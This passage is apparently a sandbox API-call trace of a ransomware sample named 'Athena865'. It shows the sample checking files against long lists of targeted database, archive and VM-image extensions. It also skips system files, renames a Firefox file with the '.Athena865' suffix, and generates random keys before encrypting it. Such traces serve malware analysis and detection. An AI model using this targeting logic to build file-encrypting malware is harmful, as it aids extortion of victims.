(lpString1=".ja", lpString2="pnz") returned -1 [0096.073] lstrlenW (lpString="qry") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="qry") returned -1 [0096.073] lstrlenW (lpString="qvd") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="qvd") returned -1 [0096.073] lstrlenW (lpString="rbf") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="rbf") returned -1 [0096.073] lstrlenW (lpString="rctd") returned 4 [0096.073] lstrcmpiW (lpString1="i.ja", lpString2="rctd") returned -1 [0096.073] lstrlenW (lpString="rod") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="rod") returned -1 [0096.073] lstrlenW (lpString="rodx") returned 4 [0096.073] lstrcmpiW (lpString1="i.ja", lpString2="rodx") returned -1 [0096.074] lstrlenW (lpString="rpd") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="rpd") returned -1 [0096.074] lstrlenW (lpString="rsd") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="rsd") returned -1 [0096.074] lstrlenW (lpString="sas7bdat") returned 8 [0096.074] lstrlenW (lpString="sbf") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="sbf") returned -1 [0096.074] lstrlenW (lpString="scx") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="scx") returned -1 [0096.074] lstrlenW (lpString="sdb") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="sdb") returned -1 [0096.074] lstrlenW (lpString="sdc") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="sdc") returned -1 [0096.074] lstrlenW (lpString="sdf") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="sdf") returned -1 [0096.074] lstrlenW (lpString="sis") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="sis") returned -1 [0096.074] lstrlenW (lpString="spq") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="spq") returned -1 [0096.074] lstrlenW (lpString="te") returned 2 [0096.074] lstrcmpiW (lpString1="ja", lpString2="te") returned -1 [0096.074] lstrlenW (lpString="teacher") returned 7 [0096.074] lstrlenW (lpString="tmd") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="tmd") returned -1 [0096.074] lstrlenW (lpString="tps") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="tps") returned -1 [0096.074] lstrlenW (lpString="trc") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="trc") returned -1 [0096.074] lstrlenW (lpString="trc") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="trc") returned -1 [0096.074] lstrlenW (lpString="trm") returned 3 [0096.074] lstrcmpiW (lpString1=".ja", lpString2="trm") returned -1 [0096.075] lstrlenW (lpString="udb") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="udb") returned -1 [0096.075] lstrlenW (lpString="udl") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="udl") returned -1 [0096.075] lstrlenW (lpString="usr") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="usr") returned -1 [0096.075] lstrlenW (lpString="v12") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="v12") returned -1 [0096.075] lstrlenW (lpString="vis") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="vis") returned -1 [0096.075] lstrlenW (lpString="vpd") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="vpd") returned -1 [0096.075] lstrlenW (lpString="vvv") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="vvv") returned -1 [0096.075] lstrlenW (lpString="wdb") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="wdb") returned -1 [0096.075] lstrlenW (lpString="wmdb") returned 4 [0096.075] lstrcmpiW (lpString1="i.ja", lpString2="wmdb") returned -1 [0096.075] lstrlenW (lpString="wrk") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="wrk") returned -1 [0096.075] lstrlenW (lpString="xdb") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="xdb") returned -1 [0096.075] lstrlenW (lpString="xld") returned 3 [0096.075] lstrcmpiW (lpString1=".ja", lpString2="xld") returned -1 [0096.075] lstrlenW (lpString="xmlff") returned 5 [0096.075] lstrcmpiW (lpString1="ni.ja", lpString2="xmlff") returned -1 [0096.075] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja.Athena865") returned 65 [0096.075] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\omni.ja"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\omni.ja.athena865"), dwFlags=0x1) returned 1 [0096.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\omni.ja.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0096.076] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27127) returned 1 [0096.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518a30 [0096.077] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5189a8) returned 1 [0096.077] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.077] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0096.078] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d00, lpName=0x0) returned 0x154 [0096.079] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d00) returned 0x100000 [0096.081] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5189a8) returned 1 [0096.082] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.082] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0096.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0096.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0096.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.082] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.083] CloseHandle (hObject=0x154) returned 1 [0096.083] CloseHandle (hObject=0x17c) returned 1 [0096.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0096.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.083] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa91c1500, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webapprt.ini", cAlternateFileName="")) returned 1 [0096.083] lstrcmpiW (lpString1="webapprt.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.083] lstrcmpiW (lpString1="webapprt.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.083] lstrcmpiW (lpString1="webapprt.ini", lpString2=".") returned 1 [0096.083] lstrcmpiW (lpString1="webapprt.ini", lpString2="..") returned 1 [0096.083] lstrcmpiW (lpString1="webapprt.ini", lpString2="windows") returned -1 [0096.083] lstrcmpiW (lpString1="webapprt.ini", lpString2="bootmgr") returned 1 [0096.083] lstrcmpiW (lpString1="webapprt.ini", lpString2="temp") returned 1 [0096.083] lstrcmpiW (lpString1="webapprt.ini", lpString2="pagefile.sys") returned 1 [0096.083] lstrcmpiW (lpString1="webapprt.ini", lpString2="boot") returned 1 [0096.084] lstrcmpiW (lpString1="webapprt.ini", lpString2="ids.txt") returned 1 [0096.084] lstrcmpiW (lpString1="webapprt.ini", lpString2="ntuser.dat") returned 1 [0096.084] lstrcmpiW (lpString1="webapprt.ini", lpString2="perflogs") returned 1 [0096.084] lstrcmpiW (lpString1="webapprt.ini", lpString2="MSBuild") returned 1 [0096.084] lstrlenW (lpString="webapprt.ini") returned 12 [0096.084] lstrcpyW (in: lpString1=0x241e8a8, lpString2="webapprt.ini" | out: lpString1="webapprt.ini") returned="webapprt.ini" [0096.084] lstrlenW (lpString="webapprt.ini") returned 12 [0096.084] lstrlenW (lpString="Athena865") returned 9 [0096.084] lstrcmpiW (lpString1="apprt.ini", lpString2="Athena865") returned -1 [0096.084] lstrlenW (lpString=".dll") returned 4 [0096.084] lstrcmpiW (lpString1="webapprt.ini", lpString2=".dll") returned 1 [0096.084] lstrlenW (lpString=".lnk") returned 4 [0096.084] lstrcmpiW (lpString1="webapprt.ini", lpString2=".lnk") returned 1 [0096.084] lstrlenW (lpString=".ini") returned 4 [0096.084] lstrcmpiW (lpString1="webapprt.ini", lpString2=".ini") returned 1 [0096.084] lstrlenW (lpString=".sys") returned 4 [0096.084] lstrcmpiW (lpString1="webapprt.ini", lpString2=".sys") returned 1 [0096.084] lstrlenW (lpString="webapprt.ini") returned 12 [0096.084] lstrlenW (lpString="bak") returned 3 [0096.084] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0096.084] lstrlenW (lpString="ba_") returned 3 [0096.084] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0096.084] lstrlenW (lpString="dbb") returned 3 [0096.084] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0096.084] lstrlenW (lpString="vmdk") returned 4 [0096.084] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0096.084] lstrlenW (lpString="rar") returned 3 [0096.084] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0096.084] lstrlenW (lpString="zip") returned 3 [0096.084] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0096.084] lstrlenW (lpString="tgz") returned 3 [0096.084] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0096.085] lstrlenW (lpString="vbox") returned 4 [0096.085] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0096.085] lstrlenW (lpString="vdi") returned 3 [0096.085] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0096.085] lstrlenW (lpString="vhd") returned 3 [0096.085] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0096.085] lstrlenW (lpString="vhdx") returned 4 [0096.085] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0096.085] lstrlenW (lpString="avhd") returned 4 [0096.085] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0096.085] lstrlenW (lpString="db") returned 2 [0096.085] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0096.085] lstrlenW (lpString="db2") returned 3 [0096.085] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0096.085] lstrlenW (lpString="db3") returned 3 [0096.085] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0096.085] lstrlenW (lpString="dbf") returned 3 [0096.085] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0096.085] lstrlenW (lpString="mdf") returned 3 [0096.085] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0096.085] lstrlenW (lpString="mdb") returned 3 [0096.085] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0096.085] lstrlenW (lpString="sql") returned 3 [0096.085] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0096.085] lstrlenW (lpString="sqlite") returned 6 [0096.085] lstrcmpiW (lpString1="rt.ini", lpString2="sqlite") returned -1 [0096.085] lstrlenW (lpString="sqlite3") returned 7 [0096.085] lstrcmpiW (lpString1="prt.ini", lpString2="sqlite3") returned -1 [0096.085] lstrlenW (lpString="sqlitedb") returned 8 [0096.085] lstrcmpiW (lpString1="pprt.ini", lpString2="sqlitedb") returned -1 [0096.085] lstrlenW (lpString="xml") returned 3 [0096.085] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0096.086] lstrlenW (lpString="$er") returned 3 [0096.086] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0096.086] lstrlenW (lpString="4dd") returned 3 [0096.086] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0096.086] lstrlenW (lpString="4dl") returned 3 [0096.086] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0096.086] lstrlenW (lpString="^^^") returned 3 [0096.086] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0096.086] lstrlenW (lpString="abs") returned 3 [0096.086] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0096.086] lstrlenW (lpString="abx") returned 3 [0096.086] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0096.086] lstrlenW (lpString="accdb") returned 5 [0096.086] lstrcmpiW (lpString1="t.ini", lpString2="accdb") returned 1 [0096.086] lstrlenW (lpString="accdc") returned 5 [0096.086] lstrcmpiW (lpString1="t.ini", lpString2="accdc") returned 1 [0096.086] lstrlenW (lpString="accde") returned 5 [0096.086] lstrcmpiW (lpString1="t.ini", lpString2="accde") returned 1 [0096.086] lstrlenW (lpString="accdr") returned 5 [0096.086] lstrcmpiW (lpString1="t.ini", lpString2="accdr") returned 1 [0096.086] lstrlenW (lpString="accdt") returned 5 [0096.086] lstrcmpiW (lpString1="t.ini", lpString2="accdt") returned 1 [0096.086] lstrlenW (lpString="accdw") returned 5 [0096.086] lstrcmpiW (lpString1="t.ini", lpString2="accdw") returned 1 [0096.086] lstrlenW (lpString="accft") returned 5 [0096.086] lstrcmpiW (lpString1="t.ini", lpString2="accft") returned 1 [0096.086] lstrlenW (lpString="adb") returned 3 [0096.086] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0096.086] lstrlenW (lpString="adb") returned 3 [0096.086] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0096.086] lstrlenW (lpString="ade") returned 3 [0096.086] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0096.087] lstrlenW (lpString="adf") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0096.087] lstrlenW (lpString="adn") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0096.087] lstrlenW (lpString="adp") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0096.087] lstrlenW (lpString="alf") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0096.087] lstrlenW (lpString="ask") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0096.087] lstrlenW (lpString="btr") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0096.087] lstrlenW (lpString="cat") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0096.087] lstrlenW (lpString="cdb") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0096.087] lstrlenW (lpString="ckp") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0096.087] lstrlenW (lpString="cma") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0096.087] lstrlenW (lpString="cpd") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0096.087] lstrlenW (lpString="dacpac") returned 6 [0096.087] lstrcmpiW (lpString1="rt.ini", lpString2="dacpac") returned 1 [0096.087] lstrlenW (lpString="dad") returned 3 [0096.087] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0096.087] lstrlenW (lpString="dadiagrams") returned 10 [0096.087] lstrcmpiW (lpString1="bapprt.ini", lpString2="dadiagrams") returned -1 [0096.087] lstrlenW (lpString="daschema") returned 8 [0096.087] lstrcmpiW (lpString1="pprt.ini", lpString2="daschema") returned 1 [0096.087] lstrlenW (lpString="db-journal") returned 10 [0096.087] lstrcmpiW (lpString1="bapprt.ini", lpString2="db-journal") returned -1 [0096.088] lstrlenW (lpString="db-shm") returned 6 [0096.088] lstrcmpiW (lpString1="rt.ini", lpString2="db-shm") returned 1 [0096.088] lstrlenW (lpString="db-wal") returned 6 [0096.088] lstrcmpiW (lpString1="rt.ini", lpString2="db-wal") returned 1 [0096.088] lstrlenW (lpString="dbc") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0096.088] lstrlenW (lpString="dbs") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0096.088] lstrlenW (lpString="dbt") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0096.088] lstrlenW (lpString="dbv") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0096.088] lstrlenW (lpString="dbx") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0096.088] lstrlenW (lpString="dcb") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0096.088] lstrlenW (lpString="dct") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0096.088] lstrlenW (lpString="dcx") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0096.088] lstrlenW (lpString="ddl") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0096.088] lstrlenW (lpString="dlis") returned 4 [0096.088] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0096.088] lstrlenW (lpString="dp1") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0096.088] lstrlenW (lpString="dqy") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0096.088] lstrlenW (lpString="dsk") returned 3 [0096.088] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0096.089] lstrlenW (lpString="dsn") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0096.089] lstrlenW (lpString="dtsx") returned 4 [0096.089] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0096.089] lstrlenW (lpString="dxl") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0096.089] lstrlenW (lpString="eco") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0096.089] lstrlenW (lpString="ecx") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0096.089] lstrlenW (lpString="edb") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0096.089] lstrlenW (lpString="epim") returned 4 [0096.089] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0096.089] lstrlenW (lpString="fcd") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0096.089] lstrlenW (lpString="fdb") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0096.089] lstrlenW (lpString="fic") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0096.089] lstrlenW (lpString="flexolibrary") returned 12 [0096.089] lstrlenW (lpString="fm5") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0096.089] lstrlenW (lpString="fmp") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0096.089] lstrlenW (lpString="fmp12") returned 5 [0096.089] lstrcmpiW (lpString1="t.ini", lpString2="fmp12") returned 1 [0096.089] lstrlenW (lpString="fmpsl") returned 5 [0096.089] lstrcmpiW (lpString1="t.ini", lpString2="fmpsl") returned 1 [0096.089] lstrlenW (lpString="fol") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0096.089] lstrlenW (lpString="fp3") returned 3 [0096.089] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0096.090] lstrlenW (lpString="fp4") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0096.090] lstrlenW (lpString="fp5") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0096.090] lstrlenW (lpString="fp7") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0096.090] lstrlenW (lpString="fpt") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0096.090] lstrlenW (lpString="frm") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0096.090] lstrlenW (lpString="gdb") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0096.090] lstrlenW (lpString="gdb") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0096.090] lstrlenW (lpString="grdb") returned 4 [0096.090] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0096.090] lstrlenW (lpString="gwi") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0096.090] lstrlenW (lpString="hdb") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0096.090] lstrlenW (lpString="his") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0096.090] lstrlenW (lpString="ib") returned 2 [0096.090] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0096.090] lstrlenW (lpString="idb") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0096.090] lstrlenW (lpString="ihx") returned 3 [0096.090] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0096.090] lstrlenW (lpString="itdb") returned 4 [0096.090] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0096.091] lstrlenW (lpString="itw") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0096.091] lstrlenW (lpString="jet") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0096.091] lstrlenW (lpString="jtx") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0096.091] lstrlenW (lpString="kdb") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0096.091] lstrlenW (lpString="kexi") returned 4 [0096.091] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0096.091] lstrlenW (lpString="kexic") returned 5 [0096.091] lstrcmpiW (lpString1="t.ini", lpString2="kexic") returned 1 [0096.091] lstrlenW (lpString="kexis") returned 5 [0096.091] lstrcmpiW (lpString1="t.ini", lpString2="kexis") returned 1 [0096.091] lstrlenW (lpString="lgc") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0096.091] lstrlenW (lpString="lwx") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0096.091] lstrlenW (lpString="maf") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0096.091] lstrlenW (lpString="maq") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0096.091] lstrlenW (lpString="mar") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0096.091] lstrlenW (lpString="marshal") returned 7 [0096.091] lstrcmpiW (lpString1="prt.ini", lpString2="marshal") returned 1 [0096.091] lstrlenW (lpString="mas") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0096.091] lstrlenW (lpString="mav") returned 3 [0096.091] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0096.091] lstrlenW (lpString="maw") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0096.092] lstrlenW (lpString="mdbhtml") returned 7 [0096.092] lstrcmpiW (lpString1="prt.ini", lpString2="mdbhtml") returned 1 [0096.092] lstrlenW (lpString="mdn") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0096.092] lstrlenW (lpString="mdt") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0096.092] lstrlenW (lpString="mfd") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0096.092] lstrlenW (lpString="mpd") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0096.092] lstrlenW (lpString="mrg") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0096.092] lstrlenW (lpString="mud") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0096.092] lstrlenW (lpString="mwb") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0096.092] lstrlenW (lpString="myd") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0096.092] lstrlenW (lpString="ndf") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0096.092] lstrlenW (lpString="nnt") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0096.092] lstrlenW (lpString="nrmlib") returned 6 [0096.092] lstrcmpiW (lpString1="rt.ini", lpString2="nrmlib") returned 1 [0096.092] lstrlenW (lpString="ns2") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0096.092] lstrlenW (lpString="ns3") returned 3 [0096.092] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0096.092] lstrlenW (lpString="ns4") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0096.093] lstrlenW (lpString="nsf") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0096.093] lstrlenW (lpString="nv") returned 2 [0096.093] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0096.093] lstrlenW (lpString="nv2") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0096.093] lstrlenW (lpString="nwdb") returned 4 [0096.093] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0096.093] lstrlenW (lpString="nyf") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0096.093] lstrlenW (lpString="odb") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0096.093] lstrlenW (lpString="odb") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0096.093] lstrlenW (lpString="oqy") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0096.093] lstrlenW (lpString="ora") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0096.093] lstrlenW (lpString="orx") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0096.093] lstrlenW (lpString="owc") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0096.093] lstrlenW (lpString="p96") returned 3 [0096.093] lstrcmpiW 